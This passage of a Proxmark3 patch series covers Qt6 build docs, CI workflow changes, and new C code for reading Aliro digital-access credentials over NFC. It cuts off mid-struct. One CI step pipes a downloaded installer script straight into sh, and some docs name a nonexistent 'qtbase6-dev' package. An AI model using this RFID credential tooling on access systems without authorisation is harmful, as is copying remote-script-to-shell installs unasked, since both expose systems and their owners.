qt5-qtbase-devel bluez-libs-devel \ +readline-devel bzip2-devel lz4-devel qt6-qtbase-devel bluez-libs-devel \ python3-devel libatomic openssl-devel gd-devel ``` @@ -117,7 +117,7 @@ python3-devel libatomic openssl-devel gd-devel you can skip the installation of `bluez-libs-devel`. 👉 If you don't need the graphical components of the Proxmark3 client (such as in `hw tune`), -you can skip the installation of `qt5-qtbase-devel`. +you can skip the installation of `qt6-qtbase-devel`. 👉 If you don't need support for Python3 scripts in the Proxmark3 client, you can skip the installation of `python3-devel`. @@ -140,19 +140,32 @@ sudo zypper install cross-arm-none-eabi-gcc15 cross-arm-none-eabi-newlib Note that Bluez is not available on openSUSE Leap so the native Bluetooth support won't be available in the client. +Note that the instructions above are for an usage with Qt5. In case of conflict with the presence of development files of Qt6, you can force Qt5 with `make SKIPQT6=1`. + +It is possible to compile the proxmark3 client with Qt6 but with some caveats because the default compiler is GCC 7 and Qt6 requires at least GCC 8: +- install `gcc15 gcc15-c++` instead of `gcc-c++` +- install `qt6-core-devel qt6-widgets-devel` instead of `libqt5-qtbase-devel` +- set default compiler to GCC 15 instead of GCC 7 +``` +sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-15 100 && \ +sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-15 100 && \ +sudo update-alternatives --install /usr/bin/cc cc /usr/bin/gcc-15 100 && \ +sudo update-alternatives --install /usr/bin/c++ c++ /usr/bin/g++-15 100 +``` + ## On openSUSE Tumbleweed ^[Top](#top) ```sh sudo zypper install git patterns-devel-base-devel_basis gcc-c++ \ readline-devel libbz2-devel liblz4-devel bluez-devel \ -python3-devel libqt5-qtbase-devel libopenssl-devel gd-devel \ +python3-devel qt6-core-devel qt6-widgets-devel libopenssl-devel gd-devel \ cross-arm-none-gcc12 cross-arm-none-newlib-devel ``` ### If you don't need... 👉 If you don't need the graphical components of the Proxmark3 client (such as in `hw tune`), -you can skip the installation of `libqt5-qtbase-devel`. +you can skip the installation of `qt6-core-devel qt6-widgets-devel`. 👉 If you don't need support for Python3 scripts in the Proxmark3 client, you can skip the installation of `python3-devel`. diff --git a/doc/md/Installation_Instructions/Troubleshooting.md b/doc/md/Installation_Instructions/Troubleshooting.md index 079e4bf4a..043ac8bef 100644 --- a/doc/md/Installation_Instructions/Troubleshooting.md +++ b/doc/md/Installation_Instructions/Troubleshooting.md @@ -29,7 +29,7 @@ Always use the latest repository commits from *master* branch. There are always - [Qt Session management error](#qt-session-management-error) - [found architecture 'x86\_64' required architecture 'arm64' error](#found-architecture-x86_64-required-architecture-arm64-error) - [wrong permissions on runtime directory /run/user/1000](#wrong-permissions-on-runtime-directory-runuser1000) - - [proxspace `file not found or locked` on Windows 11](#proxspace-file-not-found-or-locked-on-windows-11) + - [proxspace 'file not found or locked' on Windows 11](#proxspace-file-not-found-or-locked-on-windows-11) ## `pm3` or `pm3-flash*` doesn't see my Proxmark @@ -253,8 +253,8 @@ make: *** [Makefile:177: client/all] Error 2 The following dependencies are currently needed to make the development environment compile: ``` sudo apt-get install --no-install-recommends git ca-certificates build-essential pkg-config \ -libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev \ -libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev +libreadline-dev gcc-arm-none-eabi libnewlib-dev qt6-base-dev \ +libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev ``` ## target attribute is not supported on this machine diff --git a/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md b/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md index 0c6f7026a..749d441df 100644 --- a/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md +++ b/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md @@ -37,6 +37,13 @@ make clean make SKIPQT=1 ``` +or to force a fallback to Qt5 even when Qt6 is installed + +``` +make clean +make SKIPQT6=1 +``` + On Linux hosts, if the Bluez headers and library are present, the client will be compiled with native Bluetooth support. It's possible to explicitly skip Bluetooth support with: ``` From 866fe62666c0b8720165d68afa725f753fa25041 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Fri, 27 Feb 2026 14:06:43 +0100 Subject: [PATCH 018/162] update doc for osx homebrew with qt6 --- .../macOS-Homebrew-Installation-Instructions.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/md/Installation_Instructions/macOS-Homebrew-Installation-Instructions.md b/doc/md/Installation_Instructions/macOS-Homebrew-Installation-Instructions.md index f44fa6851..0b4ea8383 100644 --- a/doc/md/Installation_Instructions/macOS-Homebrew-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/macOS-Homebrew-Installation-Instructions.md @@ -175,7 +175,7 @@ These instructions will show how to setup the environment on OSX to the point wh 2. Install dependencies: ``` -brew install readline qt5 gd pkgconfig coreutils openssl +brew install readline qt gd pkgconfig coreutils openssl brew install RfidResearchGroup/proxmark3/arm-none-eabi-gcc ``` 3. (optional) Install makefile dependencies: From 65be119a42d3127c801045af525be2215be96b5f Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Fri, 27 Feb 2026 14:17:05 +0100 Subject: [PATCH 019/162] CI WSL: upgrade to Ubuntu 24.04 and Qt6 --- .github/workflows/windows.yml | 20 ++++++------------- .../Windows-Installation-Instructions.md | 8 ++++---- 2 files changed, 10 insertions(+), 18 deletions(-) diff --git a/.github/workflows/windows.yml b/.github/workflows/windows.yml index b6bd75df7..a856b411f 100644 --- a/.github/workflows/windows.yml +++ b/.github/workflows/windows.yml @@ -98,9 +98,9 @@ jobs: steps: - name: WSL setup - uses: Vampire/setup-wsl@v3 + uses: Vampire/setup-wsl@v5 with: - distribution: Ubuntu-22.04 + distribution: Ubuntu-24.04 update: "true" additional-packages: git ca-certificates @@ -115,22 +115,14 @@ jobs: qtbase5-dev cmake libpython3-dev - python3 - python3-pip - python3-dev - libpython3-all-dev libssl-dev libgd-dev - - name: Install Python dependencies + - name: Install uv run: | - python3 -m pip install --upgrade pip - python3 -m pip install setuptools - python3 -m pip install ansicolors sslcrypto - - - name: WSL QT fix - run: sudo strip --remove-section=.note.ABI-tag /usr/lib/x86_64-linux-gnu/libQt5Core.so.5 - + curl -LsSf https://astral.sh/uv/install.sh | sh + install -m 0755 /root/.local/bin/uv /usr/local/bin/ + install -m 0755 /root/.local/bin/uvx /usr/local/bin/ - name: Set git to use LF shell: bash run: | diff --git a/doc/md/Installation_Instructions/Windows-Installation-Instructions.md b/doc/md/Installation_Instructions/Windows-Installation-Instructions.md index 89cf966ea..566d370a0 100644 --- a/doc/md/Installation_Instructions/Windows-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Windows-Installation-Instructions.md @@ -131,7 +131,7 @@ WSL 1 requires to run on Windows 10 version 1709 or above. Previous windows vers ### More about WSL 1 ^[Top](#top) -Install WSL 1 with e.g. the standard Ubuntu. You can follow the guide on [Microsoft Docs](https://docs.microsoft.com/en-us/windows/wsl/install-win10) but be careful to follow WSL 1 specific instructions! When they recommend you to restart, you must restart. +Install WSL 1 with e.g. the standard Ubuntu 24.04 or later. You can follow the guide on [Microsoft Docs](https://docs.microsoft.com/en-us/windows/wsl/install-win10) but be careful to follow WSL 1 specific instructions! When they recommend you to restart, you must restart. For WSL 1 configuration, see [Manage and configure Windows Subsystem for Linux](https://docs.microsoft.com/en-us/windows/wsl/wsl-config). @@ -169,12 +169,12 @@ Install dependencies: ```sh sudo apt-get install --no-install-recommends git ca-certificates build-essential pkg-config \ -libreadline-dev gcc-arm-none-eabi libnewlib-dev \ -libbz2-dev liblz4-dev libpython3-dev qtbase5-dev libssl-dev libgd-dev +libreadline-dev gcc-arm-none-eabi libnewlib-dev qt6-base-dev \ +libbz2-dev liblz4-dev libpython3-dev libssl-dev libgd-dev ``` > [!NOTE] > * If you don't need the graphical components of the -> Proxmark3 client, you can skip the installation of `qtbase5-dev`. +> Proxmark3 client, you can skip the installation of `qtbase6-dev`. > * If you don't need support for Python3 scripts in the > Proxmark3 client, you can skip the installation of `libpython3-dev`. > * If you don't need support for NFC ePaper devices in the From 466931137d24957619ac1dec1e6f25630d10e696 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Fri, 27 Feb 2026 15:38:58 +0100 Subject: [PATCH 020/162] CI: add some retry on Proxspace initialization --- .github/workflows/windows.yml | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/.github/workflows/windows.yml b/.github/workflows/windows.yml index a856b411f..edfe83b74 100644 --- a/.github/workflows/windows.yml +++ b/.github/workflows/windows.yml @@ -46,7 +46,16 @@ jobs: - name: ProxSpace initial startup working-directory: C:\ProxSpace - run: ./runme64.bat -c "exit" + run: | + $maxAttempts = 3 + $delay = 20 + for ($i = 1; $i -le $maxAttempts; $i++) { + Write-Host "Attempt $i..." + ./runme64.bat -c "exit" + if ($LASTEXITCODE -eq 0) { exit 0 } + if ($i -lt $maxAttempts) { Start-Sleep -Seconds $delay } + } + exit 1 - uses: actions/checkout@v4 From 1c8445dfe302d7bc1b003c606db8463703118020 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Fri, 27 Feb 2026 16:59:43 +0100 Subject: [PATCH 021/162] doc --- .../Windows-WSL2-Installation-Instructions.md | 8 +++++--- docker/archlinux/README.md | 5 ++--- 2 files changed, 7 insertions(+), 6 deletions(-) diff --git a/doc/md/Installation_Instructions/Windows-WSL2-Installation-Instructions.md b/doc/md/Installation_Instructions/Windows-WSL2-Installation-Instructions.md index 74cf54de8..c6be50c10 100644 --- a/doc/md/Installation_Instructions/Windows-WSL2-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Windows-WSL2-Installation-Instructions.md @@ -31,9 +31,11 @@ on Windows 11, using WSL2 (and Ubuntu Linux). - [Install the udev rules](#install-the-udev-rules-1) - [77-pm3-usb-device-blacklist.rules](#77-pm3-usb-device-blacklistrules) - [WORKAROUND - Kick udev into action](#workaround---kick-udev-into-action) + - [USB device access in WSL2 (tty permissions)](#usb-device-access-in-wsl2-tty-permissions) - [Verify Device Exists](#verify-device-exists) - [Using the client...](#using-the-client) - [Summary of repeated commands](#summary-of-repeated-commands) + - [Script to automate environment setup](#script-to-automate-environment-setup) - [Done!](#done) ## Requirements @@ -188,19 +190,19 @@ sudo apt-get auto-remove -y ### Install stuff needed to build proxmark3 binaries ^[Top](#top) -For example, on Ubuntu: +For example, on Ubuntu 24.04 or later: ```sh sudo apt-get install --no-install-recommends \ git ca-certificates build-essential pkg-config \ libreadline-dev gcc-arm-none-eabi libnewlib-dev \ - libbz2-dev liblz4-dev libpython3-dev qtbase5-dev \ + libbz2-dev liblz4-dev libpython3-dev qtbase6-dev \ libssl-dev libgd-dev ``` > [!NOTE] > * If you don't need the graphical components of the -> Proxmark3 client, you can skip the installation of `qtbase5-dev`. +> Proxmark3 client, you can skip the installation of `qtbase6-dev`. > * If you don't need support for Python3 scripts in the > Proxmark3 client, you can skip the installation of `libpython3-dev`. > * If you don't need support for NFC ePaper devices in the diff --git a/docker/archlinux/README.md b/docker/archlinux/README.md index 53f165388..ec72a7915 100644 --- a/docker/archlinux/README.md +++ b/docker/archlinux/README.md @@ -1,7 +1,6 @@ # Notes on run_tests.sh script -This script does both setup the mirrors and pip install and then run a -bunch of different builds with make and cmake together with the different combos -of RDV4, GENERIC, BTADDON combos. +This script setups the mirrors and then runs a bunch of different builds with make +and cmake together with the different combos of RDV4, GENERIC, BTADDON If all tests OK, the script will finish with PASS. From de94afa4f69851d8e6a95e4fbeebea2d231bc9f6 Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Fri, 27 Feb 2026 20:26:50 +0200 Subject: [PATCH 022/162] Add 'hf aliro info' command --- client/CMakeLists.txt | 1 + client/Makefile | 1 + client/experimental_lib/CMakeLists.txt | 1 + client/src/cmdhf.c | 2 + client/src/cmdhf14a.c | 1 + client/src/cmdhfaliro.c | 337 +++++++++++++++++++++++++ client/src/cmdhfaliro.h | 26 ++ 7 files changed, 369 insertions(+) create mode 100644 client/src/cmdhfaliro.c create mode 100644 client/src/cmdhfaliro.h diff --git a/client/CMakeLists.txt b/client/CMakeLists.txt index 16844fa94..ccecfcf38 100644 --- a/client/CMakeLists.txt +++ b/client/CMakeLists.txt @@ -335,6 +335,7 @@ set (TARGET_SOURCES ${PM3_ROOT}/client/src/cmdhf14a.c ${PM3_ROOT}/client/src/cmdhf14b.c ${PM3_ROOT}/client/src/cmdhf15.c + ${PM3_ROOT}/client/src/cmdhfaliro.c ${PM3_ROOT}/client/src/cmdhfcryptorf.c ${PM3_ROOT}/client/src/cmdhfemrtd.c ${PM3_ROOT}/client/src/cmdhfepa.c diff --git a/client/Makefile b/client/Makefile index 7fa8850e9..654e5ea0a 100644 --- a/client/Makefile +++ b/client/Makefile @@ -645,6 +645,7 @@ SRCS = mifare/aiddesfire.c \ pla.c \ cmdhf14b.c \ cmdhf15.c \ + cmdhfaliro.c \ cmdhfcryptorf.c \ cmdhfepa.c \ cmdhfemrtd.c \ diff --git a/client/experimental_lib/CMakeLists.txt b/client/experimental_lib/CMakeLists.txt index d043e5b99..4681cad74 100644 --- a/client/experimental_lib/CMakeLists.txt +++ b/client/experimental_lib/CMakeLists.txt @@ -334,6 +334,7 @@ set (TARGET_SOURCES ${PM3_ROOT}/client/src/cmdhf14a.c ${PM3_ROOT}/client/src/cmdhf14b.c ${PM3_ROOT}/client/src/cmdhf15.c + ${PM3_ROOT}/client/src/cmdhfaliro.c ${PM3_ROOT}/client/src/cmdhfcryptorf.c ${PM3_ROOT}/client/src/cmdhfemrtd.c ${PM3_ROOT}/client/src/cmdhfepa.c diff --git a/client/src/cmdhf.c b/client/src/cmdhf.c index b4e7cabca..2099a1fb6 100644 --- a/client/src/cmdhf.c +++ b/client/src/cmdhf.c @@ -25,6 +25,7 @@ #include "cmdhf14a.h" // ISO14443-A #include "cmdhf14b.h" // ISO14443-B #include "cmdhf15.h" // ISO15693 +#include "cmdhfaliro.h" // ALIRO digital keys #include "cmdhfcipurse.h" // CIPURSE transport cards #include "cmdhfcryptorf.h" // CryptoRF #include "cmdhfepa.h" // German Identification Card @@ -576,6 +577,7 @@ static command_t CommandTable[] = { {"14a", CmdHF14A, AlwaysAvailable, "{ ISO14443A RFIDs... }"}, {"14b", CmdHF14B, AlwaysAvailable, "{ ISO14443B RFIDs... }"}, {"15", CmdHF15, AlwaysAvailable, "{ ISO15693 RFIDs... }"}, + {"aliro", CmdHFAliro, AlwaysAvailable, "{ ALIRO digital access credentials... }"}, // {"cryptorf", CmdHFCryptoRF, AlwaysAvailable, "{ CryptoRF RFIDs... }"}, {"cipurse", CmdHFCipurse, AlwaysAvailable, "{ Cipurse transport Cards... }"}, {"epa", CmdHFEPA, AlwaysAvailable, "{ German Identification Card... }"}, diff --git a/client/src/cmdhf14a.c b/client/src/cmdhf14a.c index 64e264d54..403cadd9d 100644 --- a/client/src/cmdhf14a.c +++ b/client/src/cmdhf14a.c @@ -240,6 +240,7 @@ static const hintAIDList_t hintAIDList[] = { { "\x31\x50\x41\x59\x2E\x53\x59\x53\x2E\x44\x44\x46\x30\x31", 14, "EMV (pse)", "emv" }, { "\x32\x50\x41\x59\x2E\x53\x59\x53\x2E\x44\x44\x46\x30\x31", 14, "EMV (ppse)", "emv" }, { "\x41\x44\x20\x46\x31", 5, "CIPURSE", "hf cipurse" }, + { "\xA0\x00\x00\x09\x09\xAC\xCE\x55\x01", 9, "Aliro", "hf aliro" }, { "\xd2\x76\x00\x00\x85\x01\x00", 7, "desfire", "hf mfdes" }, { "\x4F\x53\x45\x2E\x56\x41\x53\x2E\x30\x31", 10, "Apple VAS", "hf vas"}, }; diff --git a/client/src/cmdhfaliro.c b/client/src/cmdhfaliro.c new file mode 100644 index 000000000..e58c06390 --- /dev/null +++ b/client/src/cmdhfaliro.c @@ -0,0 +1,337 @@ +//----------------------------------------------------------------------------- +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- +// High frequency ALIRO commands +//----------------------------------------------------------------------------- + +#include "cmdhfaliro.h" + +#include +#include +#include "cliparser.h" +#include "cmdparser.h" +#include "comms.h" +#include "cmdtrace.h" +#include "emv/tlv.h" +#include "iso7816/apduinfo.h" +#include "iso7816/iso7816core.h" +#include "protocols.h" +#include "ui.h" +#include "util.h" +#include "commonutil.h" + +static const uint8_t ALIRO_EXPEDITED_AID[] = { + 0xA0, 0x00, 0x00, 0x09, 0x09, 0xAC, 0xCE, 0x55, 0x01 +}; + +typedef struct { + uint16_t type; + const char *name; +} aliro_application_type_t; + +static const aliro_application_type_t aliro_application_type_map[] = { + {0x0000, "CSA application"}, +}; + +static int CmdHelp(const char *Cmd); + +static const char *get_aliro_application_type_name(uint16_t type) { + for (size_t i = 0; i < ARRAYLEN(aliro_application_type_map); ++i) { + if (aliro_application_type_map[i].type == type) { + return aliro_application_type_map[i].name; + } + } + return NULL; +} + +static void parse_extended_length_info(const uint8_t *buf, size_t len, + bool *has_max_command, uint32_t *max_command, + bool *has_max_response, uint32_t *max_response) { + const uint8_t *cursor = buf; + size_t left = len; + size_t integer_index = 0; + + while (left > 0) { + struct tlv tlv = {0}; + if (tlv_parse_tl(&cursor, &left, &tlv) == false || tlv.len > left) { + PrintAndLogEx(WARNING, "Malformed tag 7F66 value"); + return; + } + + const uint8_t *value = cursor; + + if (tlv.tag == 0x02) { + const uint8_t *trimmed = value; + size_t trimmed_len = tlv.len; + while (trimmed_len > 4 && *trimmed == 0x00) { + ++trimmed; + --trimmed_len; + } + + if (trimmed_len > 0 && trimmed_len <= 4) { + uint32_t parsed = (uint32_t)bytes_to_num(trimmed, trimmed_len); + if (integer_index == 0) { + *has_max_command = true; + *max_command = parsed; + } else if (integer_index == 1) { + *has_max_response = true; + *max_response = parsed; + } + ++integer_index; + } else { + PrintAndLogEx(WARNING, "Could not parse INTEGER from tag 7F66"); + } + } + + cursor += tlv.len; + left -= tlv.len; + } +} + +static int print_aliro_select_response(const uint8_t *buf, size_t len) { + const uint8_t *top_cursor = buf; + size_t top_left = len; + bool have_fci = false; + const uint8_t *fci_value = NULL; + size_t fci_len = 0; + + while (top_left > 0) { + struct tlv tlv = {0}; + if (tlv_parse_tl(&top_cursor, &top_left, &tlv) == false || tlv.len > top_left) { + PrintAndLogEx(ERR, "Malformed SELECT response"); + return PM3_ECARDEXCHANGE; + } + + if (tlv.tag == 0x6F) { + have_fci = true; + fci_value = top_cursor; + fci_len = tlv.len; + break; + } + + top_cursor += tlv.len; + top_left -= tlv.len; + } + + if (have_fci == false) { + PrintAndLogEx(ERR, "SELECT response does not contain FCI template (tag 6F)"); + return PM3_ECARDEXCHANGE; + } + + uint8_t versions[64] = {0}; + size_t versions_len = 0; + bool have_versions = false; + uint8_t fci_aid[APDU_AID_LEN] = {0}; + size_t fci_aid_len = 0; + bool have_fci_aid = false; + bool have_type = false; + uint16_t application_type = 0; + bool has_max_command = false; + uint32_t max_command = 0; + bool has_max_response = false; + uint32_t max_response = 0; + bool have_proprietary_template = false; + + const uint8_t *fci_cursor = fci_value; + size_t fci_left = fci_len; + while (fci_left > 0) { + struct tlv tlv = {0}; + if (tlv_parse_tl(&fci_cursor, &fci_left, &tlv) == false || tlv.len > fci_left) { + PrintAndLogEx(ERR, "Malformed FCI template"); + return PM3_ECARDEXCHANGE; + } + + const uint8_t *value = fci_cursor; + if (tlv.tag == 0x84) { + have_fci_aid = true; + fci_aid_len = tlv.len; + if (fci_aid_len > sizeof(fci_aid)) { + fci_aid_len = sizeof(fci_aid); + PrintAndLogEx(WARNING, "Returned FCI AID too long, truncating output"); + } + memcpy(fci_aid, value, fci_aid_len); + } else if (tlv.tag == 0xA5) { + have_proprietary_template = true; + + const uint8_t *a5_cursor = value; + size_t a5_left = tlv.len; + while (a5_left > 0) { + struct tlv field = {0}; + if (tlv_parse_tl(&a5_cursor, &a5_left, &field) == false || field.len > a5_left) { + PrintAndLogEx(ERR, "Malformed proprietary information template"); + return PM3_ECARDEXCHANGE; + } + + const uint8_t *field_value = a5_cursor; + switch (field.tag) { + case 0x80: + if (field.len == 2) { + application_type = (uint16_t)((field_value[0] << 8) | field_value[1]); + have_type = true; + } else { + PrintAndLogEx(WARNING, "Unexpected application type size: %zu", field.len); + } + break; + case 0x5C: + have_versions = true; + versions_len = field.len; + if (versions_len > sizeof(versions)) { + versions_len = sizeof(versions); + PrintAndLogEx(WARNING, "Supported protocol versions list too long, truncating output"); + } + memcpy(versions, field_value, versions_len); + break; + case 0x7F66: + parse_extended_length_info(field_value, field.len, + &has_max_command, &max_command, + &has_max_response, &max_response); + break; + default: + break; + } + + a5_cursor += field.len; + a5_left -= field.len; + } + } + + fci_cursor += tlv.len; + fci_left -= tlv.len; + } + + if (have_proprietary_template == false) { + PrintAndLogEx(ERR, "SELECT response does not contain proprietary information (tag A5)"); + return PM3_ECARDEXCHANGE; + } + + if (have_fci_aid) { + PrintAndLogEx(INFO, "AID....................... %s", sprint_hex_inrow(fci_aid, fci_aid_len)); + } else { + PrintAndLogEx(INFO, "AID....................... not present"); + } + + if (have_versions && versions_len >= 2) { + PrintAndLogEx(INFO, "Supported protocol versions:"); + size_t pairs = versions_len / 2; + for (size_t i = 0; i < pairs; ++i) { + uint8_t major = versions[(i * 2)]; + uint8_t minor = versions[(i * 2) + 1]; + PrintAndLogEx(INFO, " %zu) %u.%u (0x%02X%02X)", i + 1, major, minor, major, minor); + } + + if ((versions_len % 2) != 0) { + PrintAndLogEx(WARNING, "Trailing protocol version byte ignored: %02X", versions[versions_len - 1]); + } + } else { + PrintAndLogEx(INFO, "Supported protocol versions: not present"); + } + + if (have_type) { + const char *type_name = get_aliro_application_type_name(application_type); + if (type_name != NULL) { + PrintAndLogEx(INFO, "Application type.......... " _YELLOW_("%s") " (0x%04X)", type_name, application_type); + } else { + PrintAndLogEx(INFO, "Application type.......... " _YELLOW_("Unknown") " (0x%04X)", application_type); + } + } else { + PrintAndLogEx(INFO, "Application type.......... not present"); + } + + if (has_max_command || has_max_response) { + if (has_max_command) { + PrintAndLogEx(INFO, "Maximum command APDU...... %" PRIu32 " bytes", max_command); + } + if (has_max_response) { + PrintAndLogEx(INFO, "Maximum response APDU..... %" PRIu32 " bytes", max_response); + } + } else { + PrintAndLogEx(INFO, "Maximum APDU sizes........ not provided"); + } + + return PM3_SUCCESS; +} + +static int info_aliro(void) { + uint8_t buf[APDU_RES_LEN] = {0}; + size_t len = 0; + uint16_t sw = 0; + + int res = Iso7816Select(CC_CONTACTLESS, true, false, + (uint8_t *)ALIRO_EXPEDITED_AID, sizeof(ALIRO_EXPEDITED_AID), + buf, sizeof(buf), &len, &sw); + DropField(); + + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "APDU exchange error"); + return res; + } + + if (sw != ISO7816_OK) { + if (sw) { + PrintAndLogEx(INFO, "Aliro applet not found. APDU response: %04x - %s", + sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); + } else { + PrintAndLogEx(ERR, "APDU exchange error. Card returns 0x0000"); + } + return PM3_SUCCESS; + } + + return print_aliro_select_response(buf, len); +} + +static int CmdHFAliroInfo(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf aliro info", + "Select ALIRO applet and print capabilities.", + "hf aliro info\n" + "hf aliro info -a"); + + void *argtable[] = { + arg_param_begin, + arg_lit0("a", "apdu", "Show APDU requests and responses"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + bool apdu_logging = arg_get_lit(ctx, 1); + CLIParserFree(ctx); + + SetAPDULogging(apdu_logging); + return info_aliro(); +} + +static int CmdHFAliroList(const char *Cmd) { + return CmdTraceListAlias(Cmd, "hf aliro", "7816"); +} + +static command_t CommandTable[] = { + {"-----------", CmdHelp, AlwaysAvailable, "----------------------- " _CYAN_("General") " -----------------------"}, + {"help", CmdHelp, AlwaysAvailable, "This help"}, + {"list", CmdHFAliroList, AlwaysAvailable, "List ISO 14443A/7816 history"}, + {"-----------", CmdHelp, IfPm3Iso14443a, "--------------------- " _CYAN_("Operations") " ----------------------"}, + {"info", CmdHFAliroInfo, IfPm3Iso14443a, "Tag information"}, + {NULL, NULL, NULL, NULL} +}; + +int CmdHFAliro(const char *Cmd) { + clearCommandBuffer(); + return CmdsParse(CommandTable, Cmd); +} + +static int CmdHelp(const char *Cmd) { + (void)Cmd; // Cmd is not used so far + CmdsHelp(CommandTable); + return PM3_SUCCESS; +} diff --git a/client/src/cmdhfaliro.h b/client/src/cmdhfaliro.h new file mode 100644 index 000000000..830b6ae67 --- /dev/null +++ b/client/src/cmdhfaliro.h @@ -0,0 +1,26 @@ +//----------------------------------------------------------------------------- +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- +// High frequency ALIRO commands +//----------------------------------------------------------------------------- + +#ifndef CMDHFALIRO_H__ +#define CMDHFALIRO_H__ + +#include "common.h" + +int CmdHFAliro(const char *Cmd); + +#endif From d14763535bff8913426c30c1e5256918f90534bd Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Fri, 27 Feb 2026 21:20:35 +0200 Subject: [PATCH 023/162] Add 'hf aliro read' command --- CHANGELOG.md | 2 + client/src/cmdhfaliro.c | 1971 +++++++++++++++++++++++++++++++++++++-- 2 files changed, 1882 insertions(+), 91 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index e2229afb6..656decac9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,8 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added `hf aliro read` command (@kormax) +- Added `hf aliro info` command (@kormax) - Added Qt6 support for the client. Step 1: Makefile (@doegox) ## [Permafrost.4.21128][2026-02-25] diff --git a/client/src/cmdhfaliro.c b/client/src/cmdhfaliro.c index e58c06390..6ed81e3f7 100644 --- a/client/src/cmdhfaliro.c +++ b/client/src/cmdhfaliro.c @@ -19,11 +19,20 @@ #include "cmdhfaliro.h" #include +#include +#include +#include +#include +#include +#include +#include #include #include "cliparser.h" #include "cmdparser.h" #include "comms.h" #include "cmdtrace.h" +#include "crypto/asn1utils.h" +#include "crypto/libpcrypto.h" #include "emv/tlv.h" #include "iso7816/apduinfo.h" #include "iso7816/iso7816core.h" @@ -36,6 +45,23 @@ static const uint8_t ALIRO_EXPEDITED_AID[] = { 0xA0, 0x00, 0x00, 0x09, 0x09, 0xAC, 0xCE, 0x55, 0x01 }; +static const uint8_t ALIRO_READER_CONTEXT[] = {0x41, 0x5D, 0x95, 0x69}; +static const uint8_t ALIRO_DEVICE_CONTEXT[] = {0x4E, 0x88, 0x7B, 0x4C}; +static const uint8_t ALIRO_AUTH0_GCM_IV[] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; +static const uint8_t ALIRO_EXCHANGE_MODE[] = {0, 0, 0, 0, 0, 0, 0, 1}; +static const uint8_t ALIRO_NFC_INTERFACE_BYTE = 0x5E; +static const uint8_t ALIRO_AUTH0_DEFAULT_POLICY = 0x01; +static const uint8_t ALIRO_AUTH1_REQUEST_PUBLIC_KEY = 0x01; + +#define ALIRO_MAX_BUFFER 2048 +#define ALIRO_MAX_TLV 512 + +typedef struct { + mbedtls_entropy_context entropy; + mbedtls_ctr_drbg_context ctr_drbg; + bool seeded; +} aliro_rng_t; + typedef struct { uint16_t type; const char *name; @@ -45,6 +71,107 @@ static const aliro_application_type_t aliro_application_type_map[] = { {0x0000, "CSA application"}, }; +typedef enum { + ALIRO_FLOW_FAST = 0, + ALIRO_FLOW_STANDARD = 1, +} aliro_flow_t; + +typedef struct { + bool have_fci_aid; + uint8_t fci_aid[APDU_AID_LEN]; + size_t fci_aid_len; + bool have_versions; + uint8_t versions[64]; + size_t versions_len; + bool have_type; + uint16_t application_type; + bool has_max_command; + uint32_t max_command; + bool has_max_response; + uint32_t max_response; + bool have_proprietary_tlv; + uint8_t proprietary_tlv[ALIRO_MAX_TLV]; + size_t proprietary_tlv_len; +} aliro_select_info_t; + +typedef struct { + bool have_endpoint_ephemeral_public_key; + uint8_t endpoint_ephemeral_public_key[65]; + uint8_t endpoint_ephemeral_public_key_x[32]; + bool have_cryptogram; + uint8_t cryptogram[64]; + bool have_auth0_response_vendor_extension; + uint8_t auth0_response_vendor_extension_tlv[ALIRO_MAX_TLV]; + size_t auth0_response_vendor_extension_tlv_len; +} aliro_auth0_response_t; + +typedef struct { + bool have_key_slot; + uint8_t key_slot[8]; + bool have_endpoint_public_key; + uint8_t endpoint_public_key[65]; + uint8_t endpoint_public_key_x[32]; + bool have_signature; + uint8_t signature[64]; + bool have_signaling_bitmap; + uint16_t signaling_bitmap; + bool have_credential_signed_timestamp; + uint8_t credential_signed_timestamp[20]; + bool 